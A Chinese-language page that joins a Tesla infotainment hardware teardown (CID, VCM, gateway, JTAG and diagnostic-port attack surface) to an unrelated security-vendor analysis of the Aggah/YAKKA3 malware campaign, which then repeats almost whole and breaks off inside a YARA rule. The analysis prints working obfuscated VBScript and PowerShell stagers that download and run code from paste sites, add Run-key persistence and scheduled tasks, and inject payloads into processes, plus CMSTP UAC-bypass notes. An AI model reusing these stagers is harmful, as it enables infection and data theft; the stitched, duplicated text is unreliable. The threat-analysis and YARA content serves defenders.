0x01 Tesla 硬件概述

和现代汽车一样,特斯拉的构造是通过CAN网关连接多个独立的CAN总线,网关的另一端有一台功能强大的嵌入式计算机,可以接入公网,可控制其所有组件的固件更新。

特斯拉的物理组成:

· CID(中央信息显示单元):仪表板中央的控制台

· IC(仪器集群)

· 常规CAN连接的ECU

0x02 组件概述

高度集成的CID包括:

image.png

大多数车辆是IVI(车载信息娱乐系统),CAN网关和TCU(电信控制单元)配备了单独的单元,但是Tesla将中央信息组合为一个单独的大型单元。在其他汽车上,IVI,CAN网关和TCU通常都是由不同的制造商生产的(例如Clarion IVI,Bosch网关和Ficosa TCU)。特斯拉集成了这些单元以实现完全控制,这也解释了为什么可以如此快速地进行更改。

CID和IC通过以太网和CAN总线连接。该IC唯一与安全相关的组件是另一个Nvidia VCM。这与CID中的不同,RAM减少了50%。CAN连接的ECU在车辆的其余部分更为通用,通常是带有集成闪存,运行裸机软件或RTOS(实时操作系统)的微控制器。它们是由多家制造商生产的,有些与其他车辆相似或相同,而其他一些(例如,Pektron生产的车身控制模块)则是定制的。

特斯拉中的CAN总线:image.png特斯拉还有许多LIN总线。

0x03 CID硬件架构

CID相当复杂。一个14层PCB结合了几个功能块。

这使得逆向变得非常棘手,尤其是因为缺乏公开信息,CID损坏就会导致车辆无法使用。

我们从特斯拉中取出了CID,以对其进行通电和检查。

image.png

image.png

0x04 可视计算模块

NVidia VCM(可视计算模块)位于CID的核心。这是运行Linux的基于ARM的计算机模块,该操作系统驱动Tesla的大多数可见动作。

image.png

CID和IC中都使用了Nvidia VCM模块。

奥迪,宝马和兰博基尼都与Nvidia VCM相关。例如,我们在奥迪虚拟座舱中发现了类似的模块。

image.png

image.png

VCM中使用了Nvidia Tegra片上系统(SoC)。它具有多核ARM处理器,GPU和其他各种音频和视频加速器。它比我挖掘过的其他IVI中使用的SoC强得多,这可能是由于CID显示屏很大。Tesla Autopilot(AP1和AP2)使用单板计算模块。这些与CID和IC中的VCM非常不同。该车辆没有特斯拉自动驾驶仪模块,因此我无法对其进行测试。在CID上的代码中,我都没有找到对自动驾驶仪的引用。

VCM没有公共数据表,这在汽车电子产品中很常见,并且使逆向非常困难。当只有一个单元可以测试时,尤其是如此,这意味着必须非常小心,不要损坏它。“ Jetson Pro开发套件”中使用了类似的VCM模块:

image.png

即使没有VCM或Tegra SoC的手册,开发板也经常包含所提供模块的原理图和引脚,以及破坏性测试的备件。这对于在Tesla中对VCM进行逆向很有帮助。不幸的是,Jetson Pro开发套件没有提供任何公共文档。尽管我尝试从eBay获得开发工具包,但是在编写此报告时没有可用的工具包。

但是,类似的开发板Jetson TK1也很容易获得。不使用VCM模块,而是直接将其他Tegra SoC安装到PCB。有关此文档的信息仅提供了有关Tegra SoC的少量信息。可以获取有关Tegra 2、3和4 SoC系列的技术参考手册,但是它们不包含引脚图,因此在逆向中用途有限。

为了访问文档和论坛,我在Nvidia.com创建了一个有效的开发人员帐户,但是我只能找到VCM或Jetson Pro开发套件的参考。我写了一个论坛帖子,询问有关文档的信息,但没有得到回应。我设想必须签署NDA才能访问重要的内容,但我不太可能与第三方共享任何信息。

VCM上的连接器就像MXM,用于笔记本电脑的某些图形模块,这些模块具有标准化的引脚排列。但是,这些模块的引脚排列与VCM不同。我研究了其他基于Tegra的单板计算机模块,但没有发现任何相似之处。使用了不同的连接器,外部存储器和外围设备。我没有发现任何有意义的东西。几则新闻报道(包括https://electrek.co/2017/09/26/tesla-intel-power-infotainment-system/)报告说,特斯拉正在将基于Nvidia的平台更改为英特尔。这个新板子叫做“戈登湖”,看上去很像Nvidia VCM:

image.png

连接器是相同的,而安装布置看起来却有所不同,尤其是在使用散热器板时。和以前一样,如果不输入NDA,将无法获得数据表。

为了进一步进行逆向,我从CID和IC中取出了VCM进行检查:

image.png

这些是在CID的VCM上看到的主要组件:

image.png

IC中的VCM非常相似:image.png

两个VCM的引脚输出是相同的,电源和接地在相同的引脚上,已由示波器确认。不希望从特斯拉直接测试VCM,因为存在损坏CID或IC或使之积压的风险。这可能会使汽车无法使用,并需要花费3,000到10,000英镑在特斯拉进行维修。

为此,我从二手IC获得了第三个VCM。该测试与测试中IC中的VCM相同,但RAM减少了50%。IC本身是不同的型号。我进行了安全测试:

image.png

从逆向中获得的信息不多。

第1阶段和第2阶段的引导程序,内核以及其他与引导相关的数据包含在64MB NOR闪存中,并且其中的大多数数据都通过主要/恢复机制进行备份,以允许设备引导至恢复模式。

文件系统的其余部分位于8GiByte NAND闪存中。大多数文件存储在压缩的只读文件系统(squashfs)中,一小部分存储在读/写文件系统(ext4)中。这很常见,并且(大多数)不可更改的文件(例如系统二进制文件)占用少量闪存,而设置和日志的存储未压缩。

0x05 以太网交换机

内置的以太网交换机通过Marvell 88E6061将VCM连接到车辆的其余部分,此五端口10/100交换机支持VLAN。使用串行接口SMI进行配置。CID启动时,将配置以太网交换机。逻辑分析仪可以嗅探SMI命令。我无法确定它们是由VCM还是由网关处理器发送的,使用多个VLAN将流量与各个组件隔离开来。

SMI没有安全功能,例如完整性保护,它信任所有信号,这意味着可以篡改或修改通信。可以以这种方式修改VLAN配置,从而有可能在系统中创建新路由。交换机旁边是5个LED,指示以太网端口上的链接/流量,LQFP包装可轻松访问信号。

0x06 网关

使用飞思卡尔SPC5668GVMG,这是一个基于PowerPC的微控制器,具有2MB闪存和512KB RAM,完整的数据表可用。

image.png

具有CAN收发器的网关。在CAN网关中经常发现类似的设备,网关连接到CAN总线和以太网交换机,关上的固件是FreeRTOS,这是一种轻量级的实时操作系统(RTOS),可用于多种汽车用途。

0x07 蜂窝调制解调器

Sierra AirPrime AR8552是常见选择。它安装在子板上,紧邻GPS接收器模块,ublox LEA-6R-0-002和加速度计:

image.png

在内部,AR8552使用Qualcomm MDM6200 SoC。这些通常运行一个称为Legato的嵌入式Linux发行版。USB用于蜂窝调制解调器和VCM相互通信。

VCM不包含SIM卡,这与以前记录的美国Tesla调制解调器不同。而是将其安装在远程吊舱中,并通过线路将其连接到CID,因此可以在不删除CID的情况下访问和更改SIM卡。这可能是由于欧盟竞争法所致,以确保特斯拉可以使用多个移动网络:

image.png

在这种情况下,SIM卡是O2。我无法确定SIM卡是否随车辆一起提供或是否已被更换,SIM卡没有感兴趣的数据,例如SMS消息。调制解调器与EE SIM可以配合使用。

车辆中的大多数TCU不允许用户访问和可交换的SIM卡。嵌入式或不可访问的SIMS正在成为常态。尽管对特斯拉进行了进一步检查,但我并未发现在CID的VCM上运行的任何跟踪或eCall功能。表明这些安全保护功能按照其他车辆中的TCU直接在蜂窝调制解调器上运行。

要从Sierra Wireless AR8522模块中恢复固件而不造成损坏是非常困难的,因为它是一个紧密包装的BGA模块,其中包含许多BGA芯片,所有这些芯片都包含在焊接屏蔽下。

0x08 Wi-Fi模块

CID采用面朝下安装的Parrot Wi-Fi和蓝牙模块。我们无法确认具体型号,因为无法将其从主板上卸载,之前拆卸的CID显示了Parrot FC6050W,VCM和Parrot模块通过USB进行通信。

0x09 SD存储卡

CID主板的顶部是两个插槽式SD卡。CID顶部的插槽允许访问连接到VCM并具有映射数据的16GB microSD卡:

image.png

必须分离CID才能访问4GB的普通SD卡。它连接到网关,并在固件更新期间用于暂存文件,在逆向过程中,它们都扩展到了CID之外,以便在汽车行驶时可以轻松访问它们。

image.png

两张卡都没有看到完整性保护或加密。

0x10 其他组件

CID上与安全性不太相关的其他组件:

· ADI公司的ADSP-21489 DSP芯片,可能用于音频播放和录制。LQFP封装连接到外部串行闪存芯片

· Altera Cyclone IV EP4CE40F23A7N FPGA已连接到两个ISSI RAM芯片和一个用于bitteam的串行闪存芯片(本质上是FPGA固件)。这可能允许VCM与用于显示显示器和触摸面板进行接口。

0x11 外置USB

CID的背面有两个USB端口,既接受媒体设备,又在UI中显示它们。我尝试了USB外设,即以太网适配器和键盘:

· 与基于Linux的IVI一样,USB以太网适配器可以枚举,但没有起作用。我看不到任何TCP / IP通信。

· 枚举的键盘不起作用

0x12 内部USB

CID主板上只有一个USB端口连接到VCM。之前的研究(https://blog.lookout.com/hacking-a-tesla)发现,此漏洞可用于访问Tegra恢复模式(RCM),它不能被禁用。仍然受到安全保护,这意味着必须在接受命令之前对其进行签名。

引信Gelée漏洞是在RCM bootloader的恶意USB数据包可以绕过安全检测,我与发现此漏洞的研究人员确认,该漏洞很可能存在于Tesla中VCM使用的早期Tegra SoC上。由于存在使VCM无法操作的风险,我决定不尝试利用此漏洞。

0x13 以太网端口

在CID上,使用专用的汽车连接器公开了两个以太网端口。以前是完全打开的,一个是专用的诊断连接,现在,这是通过专有的handler来保护的,并且没有已知的漏洞。特斯拉服务器通过VPN连接向CID发送“seed”。

CID和IC通过另一个以太网连接器链接。以太网交换机可以拦截该流量并嗅探流量,该区域中的所有漏洞现已被修复。在特斯拉汽车具有自动驾驶仪的地方,诊断以太网连接器被重新调整了用途,并具有诊断端口。

0x14 常规诊断连接器

还有两个以上的常规诊断连接器。OBD-II端口可访问CAN总线1和6,有一个特殊的诊断端口,可访问CAN总线2、3、4和6,以及K-Line总线专门用于HVAC。没有观察到隔离或访问控制的迹象,如果有人可以访问此端口,他们可以嗅探并发送任意CAN流量。

0x15 JTAG串口

各种嵌入式设备都可以恢复固件,并受到调试协议JTAG的攻击。JTAG功能存在于CID和IC的多个设备中。在物理JTAG连接方面,CID和IC主板上都安装了多个10pin接头连接器,它们可能是JTAG连接,因为它们都在微控制器或存储设备附近:

有几种方法可以确定引脚排列:

1. 爆破测试JTAG(“ JTAGulating”),可能产生误报并损坏电路板。

2. 如果可以访问引脚并且提供数据手册,则对其中一个器件上已知JTAG引脚的连续性测试是安全的。

唯一具有可访问引脚和JTAG的封装是Analog Device ADSP-21489,其余均为BGA。可以确定JTAG连接器的引脚排列,因为可以使用数据表和引脚排列。我订购了特定类型的连接器,制作了线路,并使用了各种JTAG适配器和逻辑分析仪来确定是否已启用安全措施。

我尝试了JTAG命令,但CID和IC上的VCM没有响应,我认为由于SoC保险丝熔断,很可能会阻止访问。使用MPC56xx系列提供的“检查”功能,JTAG ID会引起网关处理器的响应。使用64位密码保护,我尝试使用默认值FEEDFACECAFEBEEF也失败了,可以使用其他方法获得固件。

JTAG ID引起了ADSP-21489的响应,但似乎正在使用64位密码保护。此专有保护方案需要特定的JTAG适配器,这将花费约1200英镑,并且可能仅确认无法访问,我认为不太可能造成任何直接的安全风险。

JTAG Secure禁止访问Altera Cyclone IV FPGA,没有已知的安全问题。我没有对Parrot Wi-Fi板进行检查,因为没有可用的数据表,并且对安全性的影响很小,很高兴看到所有JTAG访问均已关闭,因为许多其他系统都是允许访问的。

2019年3月,网络安全公司Palo Alto Networks旗下情报威胁分析研究小组Unit 42公开披露了一起针对中东国家的网络攻击行动,并认为它与巴基斯坦黑客组织“蛇发女妖(Gorgon)”有关。

这起行动被命名为“Aggah”,源于攻击者用来托管Revenge远控木马的Pastebin网站账户名(“HAGGA”)以及攻击者用来分割发送到Revenge C2服务器的数据的字符串(“aggah”)。

不过很快,另一家网络安全公司Yoroi声称发现了一起与“Aggah”行动似乎存在关联的网络攻击行动,它们有着非常相似的感染链。

最大的区别在于,“Aggah”行动传播的恶意软件是Revenge远控木马,而新发现的行动传播的是AzoRult间谍软件。

在过去的一年中,Yoroi的研究人员不断跟踪Aggah的活动。期间Yoroi的研究人员还深入研究了Roma225攻击活动,因为攻击者在恶意软件的攻击过程中使用的就是 RevengeRAT,比如,Cybaze-Yoroi ZLab的研究人员对一款针对意大利汽车行业的间谍恶意软件进行了分析,该恶意软件就是利用了RevengeRAT。 

最近Cybaze-Yoroi ZLab组织决定分析最新的Aggah活动样本,并跟踪其最新变化。

技术分析

下表是要分析的样本信息:

111_副本.png

初始文件是Microsoft PowerPoint PPA文件,它实际上是一个插件文件,旨在向经典的PowerPoint演示文稿中添加新行为,在本案例中,就是添加一个恶意宏:

1.jpg

恶意宏代码段

PPA中的恶意代码滥用Microsoft mshta实用程序从BlogSpot平台下载网页。

2.jpg

Bit.ly链接的结果

HTML页面与以前的Aggah攻击的操作手法非常相似。在此案例中,blogspot帖子的名称为“20sydney new”,但是它使用了与以前相同的技巧:将javascript阶段代码隐藏在web页面中,这是一个特殊的代码片段,仅由mshta引擎解释和执行。

3.png

隐藏在Blogspot网页中并由MSHTA引擎执行的恶意代码

传递了“unescape()”函数的参数会导致另外两层编码的字符串,采用了一种“matrioska unecape混淆”。经过这些层之后,Yoroi的研究人员恢复了stager的恶意逻辑:

< script language="VBScript" >
Set M_c = CreateObject(StrReverse("llehS.tpircSW"))
Dim L_c
L_c = StrReverse("exe.drowniw mi/ f/ llikksat & exe.lecxe mi/ f/ llikksat c/ dmc")
M_c.Run L_c, vbHide
set Ixsi = CreateObject(StrReverse("llehS.tpircSW"))
Dim Bik
Bik1 = "mshta http:\\pastebin.com\raw\JELH48mw"
Ixsi.run Bik1, vbHide
set nci = CreateObject(StrReverse("llehS.tpircSW"))
Dim xx
xx1 = "r ""mshta http:\\pastebin.com\raw\JELH48mw"" /F "
xx0 = StrReverse("t/ )+niam+( nt/ 06 om/ ETUNIM cs/ etaerc/ sksathcs")
nci.run xx0 + xx1, vbHide
Set ll = CreateObject(StrReverse("llehS.tpircSW"))
no = StrReverse("mmetsaP\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH")
ll.RegWrite no,"mshta http:\\pastebin.com\raw\NxJCPTmQ","REG_SZ"
self.close
< /script >

代码段1

植入这些代码的目的旨在终止Word和Excel流程,此后,恶意软件立即再次利用mshta下载其他代码,这一次是通过pastebin代码段进行的。

4.png

恶意Pastebin片段

这篇文章的作者不再是Yoroi的研究人员之前分析中看到的“HAGGA”,而是“YAKKA3”:

5.jpg

YAKKA3 Pastebin用户的使用过程

该粘贴创建于2019年11月25日,在上个月的分析中可能已被多次编辑。过去,Aggah经常更改其粘贴内容,以修改恶意软件行为,并删除许多种类的恶意软件。在本文的案例中,其中一些人怀疑与Gorgon APT组有关。无论如何,在分析过程中,编码字符串的内容如下:

< script language="VBScript" >
Set MVn = CreateObject(StrReverse("llehS.tpircSW"))
Mcn = "powershell do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Zhs3s')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Fk9yH').replace('*','0x')|IEX;[vroombrooomkrooom]::kekedoyouloveme('calc.exe',$f)"
MVn.Run Mcn, vbHide
self.close
< /script >

代码段2

上面的脚本是一段VBS脚本,旨在运行其他一些Powershell加载程序。powershell脚本通过连接到google.com测试互联网连接,然后开始感染。该脚本将下载另外两个粘贴,第一个是PE文件,第二个是自定义.NET进程注入实用程序。

注入器(injector)

注入器的样本信息如下:

1_副本.png

如代码片段2所示,通过其静态方法“ [vroombrooomkrooom] :: kekedoyouloveme('calc.exe',$ f)”调用注入器组件。该组件的惟一目的是将有效载荷注入另一个进程的内存中,如以下参数所示:

6.jpg

注入另一个进程的内存中的技术

可以看出,注入技术非常简单。实际上,该注入使用普通的“CreateRemoteThread”技术,CreateRemoteThread是一个Windows API函数,它能够创建一个在其它进程地址空间中运行的线程。

7.png

在calc.exe进程中注入的有效载荷

UAC绕过工具

在代码片段1中,通过将 “mshta http:[\\pastebin.]com\raw\NxJCPTmQ” 命令设置为注册表项“HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Pastemm”,Yoroi的研究人员看到了aggah植入程序在目标计算机上仍然存在。因此,它可能在每次运行时加载不同的有效载荷。

8.png

由持久性攻击机制执行的一部分恶意脚本

与以前的粘贴不同,该粘贴的作者是YAKKA4。可能是一种冗余形式,以防其他账户被注销。

9.png

YAKKA4

无论如何,此粘贴提供的代码会从另一个粘贴网站:paste.ee下载另一个二进制文件。

< script language="VBScript" >
Set i9i9 = CreateObject("W" + "S" + "c" + "r" + "i" + "p" + "t" + "." + "S" + "h" + "e" + "l" + "l")
i9i9.Run("P" + "o" + "w" + "e" + "r" + "s" + "h" + "e" + "l" + "l" + "." + "e" + "x" + "e -noexit [Byte[]]$sc64= iex(iex('(&" + "(GCM *W-O*)'+ 'Net.'+" + "'WebC'+'l" + "ient)'+'.Do" + "w'+'nload'+'Str'+'ing(''https://p" + "aste.ee/r/6EdQX'').repl" + "ace(''*^*'',''^%$'').r" + "e" + "p" + "l" + "a" + "c" + "e" + "(''^%$'',''0x'')'));[<##>" + "Ap" + "pDomain<##>]::<##>('(" + "&[email protected]#$%^&*(urrent" + "Domain'.rep" + "lace('(&[email protected]#$%^&*(','C'))<##>.<##>('%" + "*&^*&^*&^*&^*&oad'.r" + "eplace('%" + "*&^*&^*&^" + "*&^*&" + "','L'))(" + "$sc64).'EntryP" + "oint'<##>.<##>('in*&^*" + "&^*&^&*^*&^o" + "k))*()*)(**(&(*&'.r" + "e" + "p" + "l" + "a" + "c" + "e" + "('))*()*)(**" + "(&(*&','e').r" + "e" + "p" + "l" + "a" + "c" + "e" + "('*&^" + "*&^*&^&*^*&^','v'))($null,$null)"),0
self.close
< /script >

代码段3

最后一个二进制文件(Connection Manager)实际上是一种实施CMSTP绕过技术的黑客工具,该技术用于绕过Windows UAC提示。

Connection Manager 是一组组件,它使管理员能够创建和分发自定义的远程访问连接以及创建,分发和自动更新自定义的电话簿。

但是,网络攻击者可能利用受感染的INF文件绕过UAC执行任意命令,从而以隐秘的方式提升权限。在本文的案例中,CMSTP绕过技术将实现为.NET可执行文件。

10.jpg

CMSTP绕过技术

有效载荷

正如Yoroi的研究人员过去看到的那样,Aggah经常在一段时间内更改其有效载荷,而这次Yoroi的研究人员发现所传送的恶意软件不是RevengeRAT,而是LokiBot的变体。自2016年以来,该木马程序就在不断进行迭代,并且被行业所熟知。

在本文的案例中,它具有以下配置:

11.jpg

与C2通信的Loki Bot配置

如之前所预期的一样,Aggah载荷会动态进行变化。根据对@DrStache等社区研究的观察,在Lokibot观察的前几天,Aggah pastebin帐户就删除了AZOrult信息盗窃程序。

12.png

通过Azorult-Tracker服务调查c2基础设施,Yoroi的研究人员注意到Aggah在此期间传播的AZOrult恶意软件主要针对美国,阿拉伯联合酋长国以及巴基斯坦,德国和以色列。

总结

Aggah正在不断盛行,在不断地迭代过程在,它基于合法的第三方服务(例如Pastebin和BlogSpot)构建了自定义的stager植入程序,攻击者滥用这些服务来管理受感染的主机并在不租用服务器的情况下运行它的僵尸网络。

在过去的一年中,Cybaze-Yoroi ZLab与Unit42一起共同努力跟踪Aggah的活动,目前,Yoroi的研究人员可以确认它仍然活跃且危险。目前尚不清楚该恶意软件的开发者是在出售其黑客服务还是在自己组织攻击过多,或两者兼而有之。

总之,目前还没有确凿的证据证实或否认它与Gorgon APT的关系。

IoC

微信截图_20200204032120.png

Yara规则

rule YAKKA3_Campaign_Jan_20_PPA_Macro {
	meta:
  	description = "Yara Rule for Yakka3 campaign macro PPA document"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2020-01-23"
  	tlp = "white"
  	category = "informational"

	strings:
   	 $a1 = { 1A 88 63 8D A9 78 43 FF }
	 $a2 = { 0D 1B 43 00 1B 44 00 FB 30 1C 33 }
	 $s1 = "Shell" 

    condition:
   	 all of them
}

rule YAKKA3_Campaign_Jan_20_Injector_Module {
	meta:
  	description = "Yara Rule for Yakka3 campaign Injector module"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2020-01-23"
  	tlp = "white"
  	category = "informational"

	strings:
	 $s1 = "vroombrooomkrooom" 
	 $s2 = "kekedoyouloveme" 
	 $s3 = "WriteProcessMemory"
	 $a1 = { 00 ED 08 8C 05 31 00 ED 08 43 }

    condition:
   	 uint16(0) == 0x5A4D and all of them
}

rule YAKKA3_Campaign_Jan_20_CMSTP_Bypass {
	meta:
  	description = "Yara Rule for Yakka3 campaign CMSTP Bypass"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2020-01-23"
  	tlp = "white"
  	category = "informational"

	strings:
	 $s1 = "cmstp.exe" ascii wide
	 $s2 = "CurrentVersion" ascii wide 
	 $s3 = "INF" ascii wide
	 $a1 = { 0A 06 8E 69 2D 06 7E 18 }

    condition:
   	 uint16(0) == 0x5A4D and all of them
}

rule YAKKA3_Campaign_Jan_20_LokiBOT_Payload {
	meta:
  	description = "Yara Rule for Yakka3 campaign Loki bot Payload"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2020-01-23"
  	tlp = "white"
  	category = "informational"

	strings:
	 $s1 = "Fuckav.ru" ascii wide
	 $s2 = "SOFTWARE" wide 

    condition:
   	 uint16(0) == 0x5A4D and $s1 and #s2 > 10
}

2019年3月,网络安全公司Palo Alto Networks旗下情报威胁分析研究小组Unit 42公开披露了一起针对中东国家的网络攻击行动,并认为它与巴基斯坦黑客组织“蛇发女妖(Gorgon)”有关。

这起行动被命名为“Aggah”,源于攻击者用来托管Revenge远控木马的Pastebin网站账户名(“HAGGA”)以及攻击者用来分割发送到Revenge C2服务器的数据的字符串(“aggah”)。

不过很快,另一家网络安全公司Yoroi声称发现了一起与“Aggah”行动似乎存在关联的网络攻击行动,它们有着非常相似的感染链。

最大的区别在于,“Aggah”行动传播的恶意软件是Revenge远控木马,而新发现的行动传播的是AzoRult间谍软件。

在过去的一年中,Yoroi的研究人员不断跟踪Aggah的活动。期间Yoroi的研究人员还深入研究了Roma225攻击活动,因为攻击者在恶意软件的攻击过程中使用的就是 RevengeRAT,比如,Cybaze-Yoroi ZLab的研究人员对一款针对意大利汽车行业的间谍恶意软件进行了分析,该恶意软件就是利用了RevengeRAT。 

最近Cybaze-Yoroi ZLab组织决定分析最新的Aggah活动样本,并跟踪其最新变化。

技术分析

下表是要分析的样本信息:

111_副本.png

初始文件是Microsoft PowerPoint PPA文件,它实际上是一个插件文件,旨在向经典的PowerPoint演示文稿中添加新行为,在本案例中,就是添加一个恶意宏:

1.jpg

恶意宏代码段

PPA中的恶意代码滥用Microsoft mshta实用程序从BlogSpot平台下载网页。

2.jpg

Bit.ly链接的结果

HTML页面与以前的Aggah攻击的操作手法非常相似。在此案例中,blogspot帖子的名称为“20sydney new”,但是它使用了与以前相同的技巧:将javascript阶段代码隐藏在web页面中,这是一个特殊的代码片段,仅由mshta引擎解释和执行。

3.png

隐藏在Blogspot网页中并由MSHTA引擎执行的恶意代码

传递了“unescape()”函数的参数会导致另外两层编码的字符串,采用了一种“matrioska unecape混淆”。经过这些层之后,Yoroi的研究人员恢复了stager的恶意逻辑:

< script language="VBScript" >
Set M_c = CreateObject(StrReverse("llehS.tpircSW"))
Dim L_c
L_c = StrReverse("exe.drowniw mi/ f/ llikksat & exe.lecxe mi/ f/ llikksat c/ dmc")
M_c.Run L_c, vbHide
set Ixsi = CreateObject(StrReverse("llehS.tpircSW"))
Dim Bik
Bik1 = "mshta http:\\pastebin.com\raw\JELH48mw"
Ixsi.run Bik1, vbHide
set nci = CreateObject(StrReverse("llehS.tpircSW"))
Dim xx
xx1 = "r ""mshta http:\\pastebin.com\raw\JELH48mw"" /F "
xx0 = StrReverse("t/ )+niam+( nt/ 06 om/ ETUNIM cs/ etaerc/ sksathcs")
nci.run xx0 + xx1, vbHide
Set ll = CreateObject(StrReverse("llehS.tpircSW"))
no = StrReverse("mmetsaP\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH")
ll.RegWrite no,"mshta http:\\pastebin.com\raw\NxJCPTmQ","REG_SZ"
self.close
< /script >

代码段1

植入这些代码的目的旨在终止Word和Excel流程,此后,恶意软件立即再次利用mshta下载其他代码,这一次是通过pastebin代码段进行的。

4.png

恶意Pastebin片段

这篇文章的作者不再是Yoroi的研究人员之前分析中看到的“HAGGA”,而是“YAKKA3”:

5.jpg

YAKKA3 Pastebin用户的使用过程

该粘贴创建于2019年11月25日,在上个月的分析中可能已被多次编辑。过去,Aggah经常更改其粘贴内容,以修改恶意软件行为,并删除许多种类的恶意软件。在本文的案例中,其中一些人怀疑与Gorgon APT组有关。无论如何,在分析过程中,编码字符串的内容如下:

< script language="VBScript" >
Set MVn = CreateObject(StrReverse("llehS.tpircSW"))
Mcn = "powershell do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Zhs3s')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Fk9yH').replace('*','0x')|IEX;[vroombrooomkrooom]::kekedoyouloveme('calc.exe',$f)"
MVn.Run Mcn, vbHide
self.close
< /script >

代码段2

上面的脚本是一段VBS脚本,旨在运行其他一些Powershell加载程序。powershell脚本通过连接到google.com测试互联网连接,然后开始感染。该脚本将下载另外两个粘贴,第一个是PE文件,第二个是自定义.NET进程注入实用程序。

注入器(injector)

注入器的样本信息如下:

1_副本.png

如代码片段2所示,通过其静态方法“ [vroombrooomkrooom] :: kekedoyouloveme('calc.exe',$ f)”调用注入器组件。该组件的惟一目的是将有效载荷注入另一个进程的内存中,如以下参数所示:

6.jpg

注入另一个进程的内存中的技术

可以看出,注入技术非常简单。实际上,该注入使用普通的“CreateRemoteThread”技术,CreateRemoteThread是一个Windows API函数,它能够创建一个在其它进程地址空间中运行的线程。

7.png

在calc.exe进程中注入的有效载荷

UAC绕过工具

在代码片段1中,通过将 “mshta http:[\\pastebin.]com\raw\NxJCPTmQ” 命令设置为注册表项“HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Pastemm”,Yoroi的研究人员看到了aggah植入程序在目标计算机上仍然存在。因此,它可能在每次运行时加载不同的有效载荷。

8.png

由持久性攻击机制执行的一部分恶意脚本

与以前的粘贴不同,该粘贴的作者是YAKKA4。可能是一种冗余形式,以防其他账户被注销。

9.png

YAKKA4

无论如何,此粘贴提供的代码会从另一个粘贴网站:paste.ee下载另一个二进制文件。

< script language="VBScript" >
Set i9i9 = CreateObject("W" + "S" + "c" + "r" + "i" + "p" + "t" + "." + "S" + "h" + "e" + "l" + "l")
i9i9.Run("P" + "o" + "w" + "e" + "r" + "s" + "h" + "e" + "l" + "l" + "." + "e" + "x" + "e -noexit [Byte[]]$sc64= iex(iex('(&" + "(GCM *W-O*)'+ 'Net.'+" + "'WebC'+'l" + "ient)'+'.Do" + "w'+'nload'+'Str'+'ing(''https://p" + "aste.ee/r/6EdQX'').repl" + "ace(''*^*'',''^%$'').r" + "e" + "p" + "l" + "a" + "c" + "e" + "(''^%$'',''0x'')'));[<##>" + "Ap" + "pDomain<##>]::<##>('(" + "&[email protected]#$%^&*(urrent" + "Domain'.rep" + "lace('(&[email protected]#$%^&*(','C'))<##>.<##>('%" + "*&^*&^*&^*&^*&oad'.r" + "eplace('%" + "*&^*&^*&^" + "*&^*&" + "','L'))(" + "$sc64).'EntryP" + "oint'<##>.<##>('in*&^*" + "&^*&^&*^*&^o" + "k))*()*)(**(&(*&'.r" + "e" + "p" + "l" + "a" + "c" + "e" + "('))*()*)(**" + "(&(*&','e').r" + "e" + "p" + "l" + "a" + "c" + "e" + "('*&^" + "*&^*&^&*^*&^','v'))($null,$null)"),0
self.close
< /script >

代码段3

最后一个二进制文件(Connection Manager)实际上是一种实施CMSTP绕过技术的黑客工具,该技术用于绕过Windows UAC提示。

Connection Manager 是一组组件,它使管理员能够创建和分发自定义的远程访问连接以及创建,分发和自动更新自定义的电话簿。

但是,网络攻击者可能利用受感染的INF文件绕过UAC执行任意命令,从而以隐秘的方式提升权限。在本文的案例中,CMSTP绕过技术将实现为.NET可执行文件。

10.jpg

CMSTP绕过技术

有效载荷

正如Yoroi的研究人员过去看到的那样,Aggah经常在一段时间内更改其有效载荷,而这次Yoroi的研究人员发现所传送的恶意软件不是RevengeRAT,而是LokiBot的变体。自2016年以来,该木马程序就在不断进行迭代,并且被行业所熟知。

在本文的案例中,它具有以下配置:

11.jpg

与C2通信的Loki Bot配置

如之前所预期的一样,Aggah载荷会动态进行变化。根据对@DrStache等社区研究的观察,在Lokibot观察的前几天,Aggah pastebin帐户就删除了AZOrult信息盗窃程序。

12.png

通过Azorult-Tracker服务调查c2基础设施,Yoroi的研究人员注意到Aggah在此期间传播的AZOrult恶意软件主要针对美国,阿拉伯联合酋长国以及巴基斯坦,德国和以色列。

总结

Aggah正在不断盛行,在不断地迭代过程在,它基于合法的第三方服务(例如Pastebin和BlogSpot)构建了自定义的stager植入程序,攻击者滥用这些服务来管理受感染的主机并在不租用服务器的情况下运行它的僵尸网络。

在过去的一年中,Cybaze-Yoroi ZLab与Unit42一起共同努力跟踪Aggah的活动,目前,Yoroi的研究人员可以确认它仍然活跃且危险。目前尚不清楚该恶意软件的开发者是在出售其黑客服务还是在自己组织攻击过多,或两者兼而有之。

总之,目前还没有确凿的证据证实或否认它与Gorgon APT的关系。

IoC

微信截图_20200204032120.png

Yara规则

rule YAKKA3_Campaign_Jan_20_PPA_Macro {
	meta:
  	description = "Yara Rule for Yakka3 campaign macro PPA document"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2020-01-23"
  	tlp = "white"
  	category = "informational"

	strings:
   	 $a1 = { 1A 88 63 8D A9 78 43 FF }
